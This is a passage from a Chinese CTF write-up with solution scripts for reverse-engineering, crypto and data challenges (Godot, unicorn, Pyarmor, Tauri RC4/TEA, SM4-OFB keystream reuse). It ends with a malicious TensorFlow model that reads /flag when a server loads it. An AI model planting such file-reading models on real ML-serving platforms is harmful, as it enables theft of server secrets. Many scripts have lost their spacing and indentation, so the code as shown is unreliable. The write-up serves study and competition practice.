equation = (diff1 - x1^2) * (x1 + x2) - x1 * (diff2 - (x1 + x2)^2)
print(f" Polynomial degree: {equation.degree()}")
print(f" Running Coppersmith with m=2, t=3...")
solutions = coppersmith_bivariate(equation, 2^48, 2^48, m=2, t=3)
ifnot solutions:
print(" No solution found, trying m=3, t=4...")
solutions = coppersmith_bivariate(equation, 2^48, 2^48, m=3, t=4)
ifnot solutions:
print(" [ERROR] Failed to find valid solution")
exit(1)
print(f" Found {len(solutions)} solution(s)")
d1, d2 = solutions[0]
if int(d1) == 0and len(solutions) > 1:
print(" Trivial solution detected, using alternative...")
d1, d2 = solutions[1]
print(f" ✓ d1 = {d1}")
print(f" ✓ d2 = {d2}")
# === Phase 2: Calculate initial y ===
print("\n[Phase 2] Computing initial y value...")
if int(2*d1) == 0:
print(" [ERROR] Cannot compute inverse of 0")
exit(1)
y_init = (diff1 - int(d1)^2) * inverse_mod(int(2*d1), n) % n
print(f" ✓ y = {y_init}")
# === Phase 3: Bit-by-bit flag recovery ===
print("\n[Phase 3] Recovering flag bits...")
flag_bits = '1000'# Known prefix from "DASCTF"
y_current = y_init
for idx in range(4, len(enc)):
target = enc[-(idx+1)]
# Try bit = 0
PR_uni.<delta> = PolynomialRing(Zmod(n))
poly_zero = (y_current - delta)^2 - target
result = poly_zero.monic().small_roots(X=2^48)
if result:
flag_bits += '0'
y_current = (y_current - int(result[0])) % n
else:
flag_bits += '1'
poly_one = (y_current - delta)^2 - target * inverse_mod(int(x), n)
result = poly_one.monic().small_roots(X=2^48)
y_current = (y_current - int(result[0])) % n
if (idx - 3) % 15 == 0or idx == len(enc) - 1:
progress = len(flag_bits)
total = len(enc)
print(f" Progress: {progress}/{total} bits | Latest: ...{flag_bits[-25:]}")
# === Phase 4: Convert to flag ===
print("\n[Phase 4] Final conversion...")
print(f" Binary length: {len(flag_bits)} bits")
print(f" Binary string: {flag_bits}")
flag_result = long_to_bytes(int(flag_bits, 2))
print(f"\n{'='*60}")
print(f"FLAG: {flag_result}")
print(f"{'='*60}")
REVERSE
GD1(二血)
看了段大致能看出来他是Godot打包的程序,然后搜了一下https://github.com/GDRETools/gdsdecomp 找到了一个工具打开,把exe拖进去,然后
看到main.gdc 有一堆01 还有一些逻辑代码
extends Node
@export var mob_scene: PackedScene
var score
var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"
// <...>
func _on_score_timer_timeout():
score += 1
$HUD.update_score(score)
if score == 7906:
var result = ""
for i in range(0, a.length(), 12):
var bin_chunk = a.substr(i, 12)
var hundreds = bin_chunk.substr(0, 4).bin_to_int()
var tens = bin_chunk.substr(4, 4).bin_to_int()
var units = bin_chunk.substr(8, 4).bin_to_int()
var ascii_value = hundreds * 100 + tens * 10 + units
result += String.chr(ascii_value)
$HUD.show_message(result)
// <...>
然后大致就知道解密flag逻辑了
EXP:
# decode_flag.py
a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"
defdecode(s: str) -> str:
if len(s) % 12 != 0:
raise ValueError("Input length must be a multiple of 12")
out = []
for i in range(0, len(s), 12):
chunk = s[i:i+12]
hundreds = int(chunk[0:4], 2)
tens = int(chunk[4:8], 2)
units = int(chunk[8:12], 2)
out.append(chr(hundreds * 100 + tens * 10 + units))
return"".join(out)
if __name__ == "__main__":
flag = decode(a)
print(flag)
DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS}
PLUS(一血)
拿到附件是一个init.pyd和plus.py plus.py很明显被处理过 尝试一下运行 查看着pyd,然后环境是python39 + windows64 后面还是运行不起来,手动导入查看 需要安装unicorn。 然后执行就可以了
PS D:\MHCTF\2222> D:\MHCTF\2222\Python39\python.exe plus.py
[+]input your flag: AAAA
no way!
看能能执行了,那么我们把m打印出来看看是什么
from init import *;
print(m)
print(e)
print(m(1))
# RESPONSE
# <class 'operator.methodcaller'>
# <unicorn.unicorn_py3.arch.intel.UcIntel object at 0x000001FB9FECFBB0>
# Traceback (most recent call last):
# File "D:\MHCTF\2222\main.py", line 9, in <module>
# print(m(1))
# TypeError: method name must be a string
看起来是call了method然后m里面必须要走string。那么我们就可以把每一个exec模拟执行出来
然后替换回去看看代码逻辑
from init import *
m("mem_map 16777216 2097152")(e);
m("mem_map 18874368 65536")(e);
m("mem_write 16777216 b'\xf3\x0f\x1e\xfaUH\x89\xe5H\x89}\xe8\x89u\xe4\x89\xd0\x88E\xe0\xc7E\xfc\x00\x00\x00\x00\xebL\x8bU\xfcH\x8bE\xe8H\x01\xd0\x0f\xb6\x00\x8d\x0c\xc5\x00\x00\x00\x00\x8bU\xfcH\x8bE\xe8H\x01\xd0\x0f\xb6\x002E\xe0\x8d4\x01\x8bU\xfcH\x8bE\xe8H\x01\xd0\x0f\xb6\x00\xc1\xe0\x05\x89\xc1\x8bU\xfcH\x8bE\xe8H\x01\xd0\x8d\x14\x0e\x88\x10\x83E\xfc\x01\x8bE\xfc;E\xe4r\xac\x90\x90]'")(e);
m("reg_write 44 18939903")(e);
m("mem_write 18878464 b'AAAAAAAAAAAAAAAAAAA'")(e);
m("reg_write 39 18878464")(e);
m("reg_write 43 44")(e);
m("reg_write 40 7")(e);
m("emu_start 16777216 16777332")(e);
p("good") if (b(m("mem_read 18878464 44")(e)).decode()== "425MvHMxtLqZ3ty3RZkw3mwwulNRjkswbpkDMK+3CDCOtbe6kzAqPyrcEAI=") else p("no way!") #type:ignore
还原了差不多之后大概是这样的。 然后我们看到16777216有一段汇编指令,放到ida打开
void __fastcall __noreturn sub_0(__int64 a1, unsignedint i, char a3)
{
unsignedint j; // [rsp+1Ch] [rbp-4h]
for ( j = 0; j < i; ++j )
*(j + a1) = 8 * *(j + a1) + (a3 ^ *(j + a1)) + 32 * *(j + a1);
JUMPOUT(0x73);
}
他的算法就是o[i] = (40 * o[i] + (o[i] ^ key)其中reg_write 40 7 就说明key=7 后面的b(xxx)测试出来是base64encode 然后就有了上面的条件就可以还原了
plaintext
import base64, re
B64 = “425MvHMxtLqZ3ty3RZkw3mwwulNRjkswbpkDMK+3CDCOtbe6kzAqPyrcEAI=”
KEY = 7
definv_byte(y, key=KEY):
for v in range(256):
if ((40 * v + (v ^ key)) & 0xFF) == y:
return v
raise ValueError(“no inverse for byte”)
ct = base64.b64decode(B64)
pt = bytes(inv_byte(y) for y in ct)
s = pt.decode(‘utf-8’, errors=‘ignore’)
m = re.search(r’[A-Za-z0-9_]+{[^}]+}', s)
print(m.group(0) if m else s)
`DASCTF{un1c0rn_1s_u4fal_And_h0w_ab0ut_exec?}`
ez\_py(一血)
----------
打开很懵逼,两个程序,找了一大圈都没啥发现 然后看了一下`key.exe` 放到`py extrator`提取出来的代码缺斤少两。问就是直接执行少了很多字符串。 然后直接使用我们神奇的`pydisasm` 然后把她变成了`asm`拿到asm之后, 看起来没有缺斤少两,然后就直接丢给分析吧 ai辅助得到:Carlotta 半轮 + 后续 changli 链式混淆逐步逆向得到原始 9 个输入的 然后拿到了key`1234, 5678, 9123, 4567, 8912, 3456, 7891, 2345, 6789`然后就看另外一半,`oh`,是神奇的`pyarmor`。 根本没思路啊,怎么办 搜! https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot 这个项目`✅ No execution ✅ Pyarmor 8.0 - latest 9.1.x ✅ Universal`
刚好对应了`\# Pyarmor 9.1.2 (trial), 000000, 2025-10-09T13:31:57.135703`
那么我们直接`clone`下来解密吧

截屏2025-10-11 20.20.50
解密失败,但是起码其他信息都说ok了,那说明我们思路是对的,检查一下代码,查了一下,看起来是这个出题人丢了`PY000000`
那么补回去
```plaintext
D:\MHCTF\2222\1\src>uv run D:\MHCTF\2222\pyarmor-1shot-v0.2.0-windows-x86_64\oneshot\shot.py -r D:\MHCTF\2222\1\src\pyarmor_runtime_000000\pyarmor_runtime.pyd D:\MHCTF\2222\1\src\src.py
____ ____
( __ ) ( __ )
| |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| |
| | ____ _ ___ _ _ | |
| | | _ \ _ _ __ _ _ __ _ _ __ ___ _ _ / / __|| |_ ___ | |_ | |
| | | |_) | || |/ _` | '__| ' ` \ / _ \| '_| | \__ \| ' \ / _ \| __| | |
| | | __/| || | (_| | | | || || | (_) | | | |__) | || | (_) | |_ | |
| | |_| \_, |\__,_|_| |_||_||_|\___/|_| |_|___/|_||_|\___/ \__| | |
| | |__/ | |
|__|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|__|
(____) (____)
For technology exchange only. Use at your own risk.
GitHub: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot
========================
Pyarmor Runtime (Trial) Information:
Product: non-profits
AES key: ab738f35ffce23b13ae73d5a2c17a896
Mix string AES nonce: 692e6e6f6e2d70726f666974
========================
INFO 2025-10-11 20:22:04,618 Single file mode
INFO 2025-10-11 20:22:04,623 Found data in source: D:\MHCTF\2222\1\src\src.py
INFO 2025-10-11 20:22:04,685 Using executable: pyarmor-1shot.exe
INFO 2025-10-11 20:22:04,685 Decrypting: 000000 (D:\MHCTF\2222\1\src\src.py)
OK解密成功了
# Source Generated with Decompyle++
# File: src.py.1shot.seq (Python 3.13)
'__pyarmor_enter_54743__(...)'
cipher = [
1473,
3419,
9156,
1267,
9185,
2823,
7945,
618,
7036,
2479,
5791,
1945,
4639,
1548,
3634,
3502,
2433,
1407,
1263,
3354,
9274,
1085,
8851,
3022,
8031,
734,
6869,
2644,
5798,
1862,
4745,
1554,
3523,
3631,
2512,
1499,
1221,
3226,
9237]
definit(key, key_len):
'__pyarmor_enter_54746__(...)'
_var_var_0 = 0
_var_var_1 = None(list, None(range, 256))
for _var_var_2 inNone(range, 256):
_var_var_0 = (_var_var_0 + _var_var_1[_var_var_2] + key[_var_var_2 % key_len]) % 256
_var_var_1[_var_var_2], _var_var_1[_var_var_0] = _var_var_1[_var_var_0], _var_var_1[_var_var_2]
'__pyarmor_exit_54747__(...)'
return _var_var_1
defmake(box):
'__pyarmor_enter_54749__(...)'
_var_var_2 = 0
_var_var_0 = 0
_var_var_3 = []
for _var_var_4 inNone(range, 256):
_var_var_2 = (_var_var_2 + 1) % 256
_var_var_0 = (_var_var_0 + box[_var_var_2]) % 256
box[_var_var_2], box[_var_var_0] = box[_var_var_0], box[_var_var_2]
_var_var_5 = (box[_var_var_2] + box[_var_var_0] + _var_var_4 % 23) % 256
None(_var_var_3.append, box[_var_var_5])
'__pyarmor_exit_54750__(...)'
return _var_var_3
if __name__ == '__main__':
init.__doc__ = '欢迎来到羊城!\nThe key len is:9'
make.__doc__ = ' flag = list(b"flag{???}")\n fuck_key = [1,2,3,4,5,6,7,8,9]\n __ = [i % 0xff for i in fuck_key]\n key = make(init(bytes(__), len(__)))\n for i in range(len(cipher)):\n _ = fuck_key[i % 9] if i % 2 == 0 else (fuck_key[i % 9] * 2) % 0xFFF\n flag[i] ^= key[i] + _\n '
print(init.__doc__)
exit(0)
exit(0)
'__pyarmor_exit_54744__(...)'
那么这个就是用到了p1的key了,分析一下
写一个exp就可以了
cipher = [
1473, 3419, 9156, 1267, 9185, 2823, 7945, 618, 7036, 2479,
5791, 1945, 4639, 1548, 3634, 3502, 2433, 1407, 1263, 3354,
9274, 1085, 8851, 3022, 8031, 734, 6869, 2644, 5798, 1862,
4745, 1554, 3523, 3631, 2512, 1499, 1221, 3226, 9237
]
fuck_key = [1234, 5678, 9123, 4567, 8912, 3456, 7891, 2345, 6789]
definit(key, key_len):
box = list(range(256))
j = 0
for i in range(256):
j = (j + box[i] + key[i % key_len]) % 256
box[i], box[j] = box[j], box[i]
return box
defmake(box):
i = 0
j = 0
out = []
for k in range(256):
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j] + k % 23) % 256
out.append(box[t])
return out
if __name__ == '__main__':
key_bytes = [x % 0xfffor x in fuck_key]
box = init(key_bytes, len(key_bytes))
key_stream = make(box)
flag = []
for i in range(len(cipher)):
offset = fuck_key[i % 9] if i % 2 == 0else (fuck_key[i % 9] * 2) % 0xFFF
flag_byte = (cipher[i] ^ (key_stream[i] + offset)) & 0xFF
flag.append(flag_byte)
print("flag{" + ''.join(chr(x) for x in flag) + "}")
flag{8561a-852sad-7561b-asd-4896-qwx56}
也是拿到啦
easyTauri(一血)
看标题就像是rust的tauri,众所周知,tauri类似electron里面一个webview2,然后在与rust打交道,那么这么思考了我们就想到把他的资源提取出来cargo install tauri-dumper 安装一下tauri-dumper
我们这次直接使用tauri-dumper
mm2025@mm2025-2 re4 % tauri-dumper --input easyTauri.exe --output assets2
Scanning for assets...
Scanning completed. Found 36 assets
Dump asset: /style/main.css, size: 0x9EA
Dump asset: /styles.css, size: 0x282
Dump asset: /style/fonts/ClearSans-Bold-webfont.eot, size: 0x5CEA
Dump asset: /meta/apple-touch-startup-image-640x1096.png, size: 0xE3CF
Dump asset: /style/fonts/ClearSans-Bold-webfont.svg, size: 0x3D83
Dump asset: /style/main.scss, size: 0xA88
Dump asset: /meta/apple-touch-startup-image-640x920.png, size: 0x7CDD
Dump asset: /favicon.ico, size: 0x18F
Dump asset: /README.md, size: 0x453
Dump asset: /style/fonts/clear-sans.css, size: 0xE2
Dump asset: /style/fonts/ClearSans-Regular-webfont.woff, size: 0x6828
Dump asset: /js/application.js, size: 0x8B
Dump asset: /LICENSE.txt, size: 0x25B
Dump asset: /.jshintrc, size: 0x8C
Dump asset: /js/animframe_polyfill.js, size: 0x11A
Dump asset: /style/fonts/ClearSans-Light-webfont.woff, size: 0x6FBF
Dump asset: /js/tile.js, size: 0xD4
Dump asset: /style/fonts/ClearSans-Regular-webfont.svg, size: 0x3EC2
Dump asset: /style/fonts/ClearSans-Bold-webfont.woff, size: 0x698B
Dump asset: /js/keyboard_input_manager.js, size: 0x448
Dump asset: /assets/javascript.svg, size: 0x226
Dump asset: /js/local_storage_manager.js, size: 0x1DD
Dump asset: /js/classlist_polyfill.js, size: 0x235
Dump asset: /style/fonts/ClearSans-Regular-webfont.eot, size: 0x5B94
Dump asset: /meta/apple-touch-icon.png, size: 0x160E
Dump asset: /style/fonts/ClearSans-Light-webfont.eot, size: 0x63A5
Dump asset: /js/main.js, size: 0x439
Dump asset: /assets/tauri.svg, size: 0x509
Dump asset: /js/grid.js, size: 0x29A
Dump asset: /js/game_manager.js, size: 0x881
Dump asset: /style/helpers.scss, size: 0x201
Dump asset: /index_flag.html, size: 0x231
Dump asset: /js/html_actuator.js, size: 0x8FB
Dump asset: /index.html, size: 0x466
Dump asset: /js/bind_polyfill.js, size: 0x82
Dump asset: /style/fonts/ClearSans-Light-webfont.svg, size: 0x4D2A
Done :)
assets2 % tree
.
├── assets
│ ├── javascript.svg
│ └── tauri.svg
├── favicon.ico
├── index_flag.html
├── index.html
├── js
│ ├── animframe_polyfill.js
│ ├── application.js
│ ├── bind_polyfill.js
│ ├── classlist_polyfill.js
│ ├── game_manager.js
│ ├── grid.js
│ ├── html_actuator.js
│ ├── keyboard_input_manager.js
│ ├── local_storage_manager.js
│ ├── main.js
│ └── tile.js
├── LICENSE.txt
├── meta
│ ├── apple-touch-icon.png
│ ├── apple-touch-startup-image-640x1096.png
│ └── apple-touch-startup-image-640x920.png
├── README.md
├── style
│ ├── fonts
│ │ ├── clear-sans.css
│ │ ├── ClearSans-Bold-webfont.eot
│ │ ├── ClearSans-Bold-webfont.svg
│ │ ├── ClearSans-Bold-webfont.woff
│ │ ├── ClearSans-Light-webfont.eot
│ │ ├── ClearSans-Light-webfont.svg
│ │ ├── ClearSans-Light-webfont.woff
│ │ ├── ClearSans-Regular-webfont.eot
│ │ ├── ClearSans-Regular-webfont.svg
│ │ └── ClearSans-Regular-webfont.woff
│ ├── helpers.scss
│ ├── main.css
│ └── main.scss
└── styles.css
可以看到一个index_flag.html提示:
- 我混淆了
js,当你觉得那是一大坨恶心玩意的时候,应该试试开发一个最简Tauri项目 - 出题人吃过
release无pdb的这一坨,当你分析完js一定能找到对应的native函数 那就直接看js,然后找native就行了
(function(_0x97aee2,_0x14d3d9){const _0x151017=_0x363b,_0x2b0390=_0x97aee2();while(!![]){try{const _0x3b9dd4=parseInt(_0x151017(0xb0))/0x1+parseInt(_0x151017(0xac))/0x2+parseInt(_0x151017(0xaa))/0x3+-parseInt(_0x151017(0xab))/0x4+-parseInt(_0x151017(0xa7))/0x5*(parseInt(_0x151017(0xa8))/0x6)+-parseInt(_0x151017(0xae))/0x7*(-parseInt(_0x151017(0xa6))/0x8)+-parseInt(_0x151017(0xad))/0x9;if(_0x3b9dd4===_0x14d3d9)break;else _0x2b0390['push'](_0x2b0390['shift']());}catch(_0x34886e){_0x2b0390['push'](_0x2b0390['shift']());}}}(_0x3a0b,0x6e7b4));
functionEncrypt_0xa31304(_0x5031b3, _0xa31304){const _0x22bac7=_0x363b,_0x5d7b84=new TextEncoder()[_0x22bac7(0xa9)](_0x5031b3),_0x2db5b9=new TextEncoder()[_0x22bac7(0xa9)](_0xa31304),_0x1f7f86=newUint8Array(0x100);let _0x562e52=0x0;for(let _0x24ca0d=0x0; _0x24ca0d<0x100; _0x24ca0d++){_0x1f7f86[_0x24ca0d]=_0x24ca0d,_0x562e52=(_0x562e52+_0x1f7f86[_0x24ca0d]+_0x5d7b84[_0x24ca0d%_0x5d7b84[_0x22bac7(0xaf)]])%0x100,[_0x1f7f86[_0x24ca0d],_0x1f7f86[_0x562e52]]=[_0x1f7f86[_0x562e52],_0x1f7f86[_0x24ca0d]];}let _0x5b36c3=0x0,_0x205ec1=0x0;const _0x444cf9=newUint8Array(_0x2db5b9[_0x22bac7(0xaf)]);for(let _0x527286=0x0; _0x527286<_0x2db5b9[_0x22bac7(0xaf)]; _0x527286++){_0x5b36c3=(_0x5b36c3+0x1)%0x100,_0x205ec1=(_0x205ec1+_0x1f7f86[_0x5b36c3])%0x100,[_0x1f7f86[_0x5b36c3],_0x1f7f86[_0x205ec1]]=[_0x1f7f86[_0x205ec1],_0x1f7f86[_0x5b36c3]];const _0x326832=(_0x1f7f86[_0x5b36c3]+_0x1f7f86[_0x205ec1])%0x100;_0x444cf9[_0x527286]=_0x2db5b9[_0x527286]^_0x1f7f86[_0x326832];}return _0x444cf9;}function_0x363b(_0x3e7d70, _0x4a2c88){const _0x3a0bb6=_0x3a0b();return _0x363b=function(_0x363b1f, _0x4025c1){_0x363b1f=_0x363b1f-0xa6;let _0x387f5b=_0x3a0bb6[_0x363b1f];return _0x387f5b;},_0x363b(_0x3e7d70,_0x4a2c88);}function_0x3a0b(){const _0x37fb1e=['3283052tzDAvB','542866JdmzNj','4112658rTyTXQ','16954tUYpad','length','457163LwGIuU','2696pusaTH','233035azfeoA','66oGYEyB','encode','2094372kZRrIa'];_0x3a0b=function(){return _0x37fb1e;};return _0x3a0b();}
functionuint8ArrayToBase64(array) {
const binary = Array.from(array).map(byte =>String.fromCharCode(byte)).join('');
return btoa(binary);
}
asyncfunction_0x9a2c6e7() {
greetInputEl = document.querySelector("#greet-input");
greetMsgEl = document.querySelector("#greet-msg");
let getFlag = greetInputEl.value;
const ciphertext = Encrypt_0xa31304("SadTongYiAiRC4HH", getFlag);
greetMsgEl.textContent = await invoke("ipc_command", { name: uint8ArrayToBase64(ciphertext) });
}
大致的加密原理是
functionrc4A(keyStr, dataStr) {
const key = new TextEncoder().encode(keyStr);
const msg = new TextEncoder().encode(dataStr);
const S = newUint8Array(256);
// init + KSA(合并写法)
for (let i = 0, j = 0; i < 256; i++) {
S[i] = i;
j = (j + S[i] + key[i % key.length]) & 0xff;
[S[i], S[j]] = [S[j], S[i]];
}
// PRGA
const out = newUint8Array(msg.length);
for (let i = 0, j = 0, k = 0; k < msg.length; k++) {
i = (i + 1) & 0xff;
j = (j + S[i]) & 0xff;
[S[i], S[j]] = [S[j], S[i]];
out[k] = msg[k] ^ S[(S[i] + S[j]) & 0xff];
}
return out;
}
functionu8ToBase64(u8) {
const bin = Array.from(u8, b => String.fromCharCode(b)).join("");
return btoa(bin);
}
const key = "SadTongYiAiRC4HH";
console.log(u8ToBase64(rc4A(key, "test")));
nGWVFQ==
tauri测试之后相同,那么写一个解密前端,后端稍厚分析
import base64
defrc4_js(key_str: str, data_bytes: bytes) -> bytes:
key = key_str.encode("utf-8")
S = [0] * 256
j = 0
for i in range(256):
S[i] = i
j = (j + S[i] + key[i % len(key)]) & 0xff
S[i], S[j] = S[j], S[i]
i = j = 0
out = bytearray()
for b in data_bytes:
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) & 0xff]
out.append(b ^ k)
return bytes(out)
defencrypt_flag(flag: str) -> str:
key = "SadTongYiAiRC4HH"
encrypted = rc4_js(key, flag.encode("utf-8"))
return base64.b64encode(encrypted).decode("utf-8")
defdecrypt_flag(b64_cipher: str) -> str:
key = "SadTongYiAiRC4HH"
cipher_bytes = base64.b64decode(b64_cipher)
decrypted = rc4_js(key, cipher_bytes)
return decrypted.decode("utf-8")
# 测试
print(encrypt_flag("test")) # nGWVFQ==
print(decrypt_flag("nGWVFQ==")) # test
那么接着我们看到js代码实际上是提交到ipc_command。
我们进入到ida,搜索ipc_command strings查找交叉引用定位到sub_1400356D0方法
分析其大致原理,从后往前推 看到了daF/DkQxixGmzn0aPFW2E2PhM8NabRtLjp6pI+c8TtY3WMuPxfnvlAsp9aluf8noZy/T6Sz9DJg=还有一个base64既然传入是base64,结合一下ida 分析,原理大概是
v5 = (char *)Src[1];
n8_1 = Size[0];
v89[0] = 0;
v89[1] = 1;
v89[2] = 0;
Buf1_4 = 1;
if ( Size[0] )
{
Buf1_8 = 1;
i_1 = 0;
do
{
n8 = 8;
if ( n8_1 < 8 )
n8 = n8_1;
v90 = 0;
memcpy(&v90, v5, n8);
v10 = v90;
v11 = HIDWORD(v90);
n32 = 32;
n2117703607 = 2117703607;
do
{
v10 += (16 * v11 + 1668048215) ^ (v11 + n2117703607) ^ ((v11 >> 5) + 1949527375);
v11 += (16 * v10 + 1937076784) ^ (n2117703607 + v10) ^ ((v10 >> 5) + 1432441972);
n2117703607 += 2117703607;
--n32;
}
while ( n32 );
if ( v89[0] - i_1 <= 3 )
{
sub_1405C98F0(v89, i_1, 4, 1u, 1);
Buf1_8 = v89[1];
i_1 = v89[2];
}
*(_DWORD *)(Buf1_8 + i_1) = _byteswap_ulong(v10);
v14 = i_1 + 4;
v89[2] = v14;
if ( v89[0] - v14 <= 3 )
{
sub_1405C98F0(v89, v14, 4, 1u, 1);
v14 = v89[2];
}
v5 += n8;
n8_1 -= n8;
Buf1_8 = v89[1];
*(_DWORD *)(v89[1] + v14) = _byteswap_ulong(v11);
i_1 = v14 + 4;
v89[2] = i_1;
}
while ( n8_1 );
v97 = v89[0];
Buf1_4 = 1;
}
else
{
i_1 = 0;
Buf1_8 = 1;
v97 = 0;
}
拿到base64,然后xxtea魔改加密,然后对比是否等于daF/DkQxixGmzn0aPFW2E2PhM8NabRtLjp6pI+c8TtY3WMuPxfnvlAsp9aluf8noZy/T6Sz9DJg=那么反推就行了xxtea解密,然后转base64脚本:
import base64
CONST_B64 = "daF/DkQxixGmzn0aPFW2E2PhM8NabRtLjp6pI+c8TtY3WMuPxfnvlAsp9aluf8noZy/T6Sz9DJg="
K0 = 1668048215
K1 = 1949527375
K2 = 1937076784
K3 = 1432441972
DELTA = 2117703607
ROUNDS = 32
defbe32(b: bytes, off: int) -> int:
return int.from_bytes(b[off:off+4], byteorder='big')
deftea_variant_decrypt_block(v0: int, v1: int) -> (int, int):
sum_ = (DELTA * ROUNDS) & 0xFFFFFFFF
for _ in range(ROUNDS):
v1 = (v1 - ( ((v0 << 4) + K2) ^ ( (v0 + sum_) & 0xFFFFFFFF ) ^ ((v0 >> 5) + K3) )) & 0xFFFFFFFF
v0 = (v0 - ( ((v1 << 4) + K0) ^ ( (v1 + sum_) & 0xFFFFFFFF ) ^ ((v1 >> 5) + K1) )) & 0xFFFFFFFF
sum_ = (sum_ - DELTA) & 0xFFFFFFFF
return v0, v1
defdecrypt_all(cipher_bytes: bytes) -> bytes:
out = bytearray()
for i in range(0, len(cipher_bytes), 8):
v0 = be32(cipher_bytes, i)
v1 = be32(cipher_bytes, i+4)
d0, d1 = tea_variant_decrypt_block(v0, v1)
out += d0.to_bytes(4, byteorder='little')
out += d1.to_bytes(4, byteorder='little')
return bytes(out)
plain = decrypt_all(base64.b64decode(CONST_B64))
s = plain.decode('ascii')
print(s)
得出jmyHBntjPmBiE9k5OTl+7WHUjc6aLHY1ZThmMWRhvUAxZIVhZn0=然后放到前面的
print(decrypt_flag("jmyHBntjPmBiE9k5OTl+7WHUjc6aLHY1ZThmMWRhvUAxZIVhZn0="))
mm2025@mm2025-2 assets % uv run rc4test.py
flag{cf8be09b1c8a415f8b5e8f1dac71d4af}
DS&Ai
SM4-OFB
打开有一个 Excel 表,表中每一行三列分别是姓名、手机号、身份证号的十六进制密文,最后一列是 IV都是十六进制"abcdefghijklmnop"题目已知第一条记录的明文是蒋宏玲 / 17145949399 / 220000197309078766然后就可以按字节计算出该字段的密钥流:keystream = ciphertext ⊕ plaintext_bytes``exp
c = bytes.fromhex("cef18c919f99f9ea19905245fae9574e")
p = "蒋宏玲".encode('utf-8')
keystream = bytes(x ^ y for x,y in zip(c, p + b'\x00'*(len(c)-len(p))))
c_list = [
"cef18c919f99f9ea19905245fae9574e",
<....>
]
for i, ch in enumerate(c_list, 1):
c_row = bytes.fromhex(ch)
p_row = bytes(x ^ y for x, y in zip(c_row, keystream))
plaintext = p_row.rstrip(b'\x00').decode('utf-8', errors='replace')
if plaintext == "何浩璐":
print(f"GOT {ch}{i}")
GOT c2de929284bff9f63b905245fae9574e 860解密后是1200001973736761也就是fbb80148b75e98b18d65be446f505fcc
满天繁星
问AI拿到思路
- 压缩包里有
known_samples.npy.gz(256个“星团核心样本”,每个 3 维)和data.npy.gz(其余星星,共77,897个,3维)。 - 题意提示“
256个星团 + 特定顺序闪烁”,challenge.ipynb里也暗示:把所有点按所属星团编号(0–255)写成字节流即可拼出JPEG。 - 关键在分类与尺度:如果直接用欧氏距离最近中心分类,末尾字节不是
FF D9(JPEG 尾),图像损坏。 于是先对三维特征做整体z-score标准化(合并已知样本与待分类样本后对每一维去均值/除标准差),再按最近中心做分类,得到每个星星的簇编号(0–255)。 - 把后
77,897个标签依次写成字节 → 得到合法JPEG(头FF D8、尾FF D9),尺寸512×512,能正常打开看到flag。
拿到flagDASCTF{4l1_7h3s3_5t4rs_5h1n3_for_y0U}
Mini-modelscope
2025第五届长城杯原题
import tensorflow as tf
import os, shutil, zipfile
# Minimal TF Model File Reader
classReader(tf.Module):
@tf.function(input_signature=[tf.TensorSpec([None, None], tf.float32)])
defserve(self, x):
data = tf.io.read_file("/flag")
return {"prediction": tf.expand_dims(tf.cast(tf.io.decode_raw(data, tf.uint8), tf.float32), 0)}
# Build & package
defbuild():
[shutil.rmtree("m") if os.path.exists("m") elseNone, os.remove("m.zip") if os.path.exists("m.zip") elseNone]
tf.saved_model.save(Reader(), "m", signatures={"serve": Reader().serve})
with zipfile.ZipFile("m.zip", "w") as z:
[z.write(os.path.join(r,f), os.path.relpath(os.path.join(r,f), "m")) for r,_,fs in os.walk("m") for f in fs]
print("✓ m.zip ready")
# Decode result
defdecode(nums):return"".join(chr(int(n)&0xFF) for n in nums)
if __name__ == "__main__": build()
# 魔搭 mini —— 线性模型加载器
test value : tf.constant([[1.0]], dtype=tf.float32)
## 上传打包后的模型文件 model.zip
# 调用模型
result = signature(tf.constant([[1.0]], dtype=tf.float32))
print(result)
print("预测结果:", result['prediction'].numpy())
上传恶意的TensorFlow模型来读取服务器上的flag文件
预测结果: {'prediction': <tf.Tensor: shape=(1, 41), dtype=float32, numpy=
array([[ 68., 65., 83., 67., 84., 70., 123., 53., 49., 52., 55.,
52., 54., 50., 52., 51., 52., 56., 55., 48., 55., 54.,
55., 48., 54., 49., 55., 55., 53., 55., 49., 52., 57.,
50., 57., 56., 50., 53., 51., 125., 10.]], dtype=float32)>}
[[68.0, 65.0, 83.0, 67.0, 84.0, 70.0, 123.0, 53.0, 49.0, 52.0, 55.0, 52.0, 54.0, 50.0, 52.0, 51.0, 52.0, 56.0, 55.0, 48.0, 55.0, 54.0, 55.0, 48.0, 54.0, 49.0, 55.0, 55.0, 53.0, 55.0, 49.0, 52.0, 57.0, 50.0, 57.0, 56.0, 50.0, 53.0, 51.0, 125.0, 10.0]]
// 从结果中提取数字列表
const nums = [68.0, 65.0, 83.0, 67.0, 84.0, 70.0, 123.0, 53.0, 49.0, 52.0, 55.0, 52.0, 54.0, 50.0, 52.0, 51.0, 52.0, 56.0, 55.0, 48.0, 55.0, 54.0, 55.0, 48.0, 54.0, 49.0, 55.0, 55.0, 53.0, 55.0, 49.0, 52.0, 57.0, 50.0, 57.0, 56.0, 50.0, 53.0, 51.0, 125.0, 10.0];
// 将float转换为字节并转换为字符串
let flag = "";
for (let i = 0; i < nums.length; i++) {
const charCode = Math.round(nums[i]) & 0xFF;
